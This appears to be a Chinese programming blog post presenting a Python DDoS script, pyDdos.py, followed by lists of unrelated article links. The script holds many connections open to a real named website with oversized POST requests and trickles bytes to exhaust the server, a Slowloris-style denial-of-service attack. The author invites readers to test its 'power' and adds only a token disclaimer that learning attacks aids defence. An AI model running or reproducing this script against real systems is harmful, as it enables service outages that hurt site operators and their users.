python版DDOS攻击脚本


Posted in Python onJune 12, 2019

本文实例为大家分享了python版DDOS攻击脚本,供大家参考,具体内容如下

于是就找到了我之前收藏的一篇python的文章,是关于ddos攻击的一个脚本,正好今天有空,就实践下了。

附上源码pyDdos.py:

#!/usr/bin/env python
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="www.baidu.com"
PAGE="/index.php"
#---------------------------
 
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
 
socks=[]
 
def conn_thread():
 global socks
 for i in range(0,MAX_CONN):
 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 try:
 s.connect((HOST,PORT))
 s.send(buf)
 print "Send buf OK!,conn=%d\n"%i
 socks.append(s)
 except Exception,ex:
 print "Could not connect to server or send error:%s"%ex
 time.sleep(10)
#end def
 
def send_thread():
 global socks
 while True:
 for s in socks:
 try:
 s.send("f")
 #print "send OK!"
 except Exception,ex:
 print "Send Exception:%s\n"%ex
 socks.remove(s)
 s.close()
 time.sleep(1)
#end def
 
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
 
conn_th.start()
send_th.start()

OK,大家可以简单测试下这个脚本的威力,不过希望大家不要用来做坏事儿,同时,稍后我会去找一个python版本的防DDOS攻击的脚本,所谓学习攻击的方式是为了更好的抵御攻击。

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
pyv8学习python和javascript变量进行交互
Dec 04 Python
简单介绍Python的Tornado框架中的协程异步实现原理
Apr 23 Python
Python中使用partial改变方法默认参数实例
Apr 28 Python
Python 探针的实现原理
Apr 23 Python
Python基于回溯法子集树模板解决选排问题示例
Sep 07 Python
Windows下的Python 3.6.1的下载与安装图文详解(适合32位和64位)
Feb 21 Python
python在文本开头插入一行的实例
May 02 Python
python获取代理IP的实例分享
May 07 Python
浅析Python 读取图像文件的性能对比
Mar 07 Python
详解pandas删除缺失数据(pd.dropna()方法)
Jun 25 Python
详解Python3中的 input() 函数
Mar 18 Python
利用python爬取有道词典的方法
Dec 08 Python
selenium处理元素定位点击无效问题
Jun 12 #Python
selenium跳过webdriver检测并模拟登录淘宝
Jun 12 #Python
python3.4 将16进制转成字符串的实例
Jun 12 #Python
python binascii 进制转换实例
Jun 12 #Python
Python3 实现串口两进程同时读写
Jun 12 #Python
详解pyppeteer(python版puppeteer)基本使用
Jun 12 #Python
python实战串口助手_解决8串口多个发送的问题
Jun 12 #Python
You might like
fleaphp常用方法分页之Pager使用方法
2011/04/23 PHP
php数组函数序列之array_combine() - 数组合并函数使用说明
2011/10/29 PHP
php轻松实现中英文混排字符串截取
2014/05/28 PHP
php创建session的方法实例详解
2015/01/27 PHP
PHP实现在线阅读PDF文件的方法
2015/06/17 PHP
PHP+redis实现添加处理投票的方法
2015/11/14 PHP
可以文本显示的公告栏的js代码
2007/03/11 Javascript
超越Jquery_01_isPlainObject分析与重构
2010/10/20 Javascript
基于Jquery的将DropDownlist的选中值赋给label的实现代码
2011/05/06 Javascript
学习从实践开始之jQuery插件开发 菜单插件开发
2012/05/03 Javascript
多个js与css文件的合并方法详细说明
2012/12/26 Javascript
解析瀑布流布局:JS+绝对定位的实现
2013/05/08 Javascript
使用jQuery动态加载js脚本文件的方法
2014/04/03 Javascript
jQuery中[attribute=value]选择器用法实例
2014/12/31 Javascript
javascript 构造函数方式定义对象
2015/01/02 Javascript
原生JS实现旋转木马式图片轮播插件
2016/04/25 Javascript
jquery利用json实现页面之间传值的实例解析
2016/12/12 Javascript
浅谈vue 单文件探索
2018/09/05 Javascript
基于Vue实现的多条件筛选功能的详解(类似京东和淘宝功能)
2019/05/07 Javascript
解决包含在label标签下的checkbox在ie8及以下版本点击事件无效果兼容的问题
2019/10/27 Javascript
JS实现旋转木马轮播图
2020/01/01 Javascript
Python Tkinter简单布局实例教程
2014/09/03 Python
Python科学计算包numpy用法实例详解
2018/02/08 Python
python topN 取最大的N个数或最小的N个数方法
2018/06/04 Python
Python3使用SMTP发送带附件邮件
2020/06/16 Python
Python中的集合介绍
2019/01/28 Python
15行Python代码实现免费发送手机短信推送消息功能
2020/02/27 Python
python实现录屏功能(亲测好用)
2020/03/02 Python
Django启动时找不到mysqlclient问题解决方案
2020/11/11 Python
英国高街电视:High Street TV
2018/05/22 全球购物
狗狗玩具、零食和咀嚼物的月度送货服务:Super Chewer
2018/08/22 全球购物
新兵入伍心得体会
2014/09/04 职场文书
导游词之介休绵山
2019/12/31 职场文书
浅析CSS在DevTools 中架构演变
2021/10/05 HTML / CSS
Spring Boot 使用 Spring-Retry 进行重试框架
2022/04/24 Java/Android
postgresql之greenplum字符串去重拼接方式
2023/05/08 PostgreSQL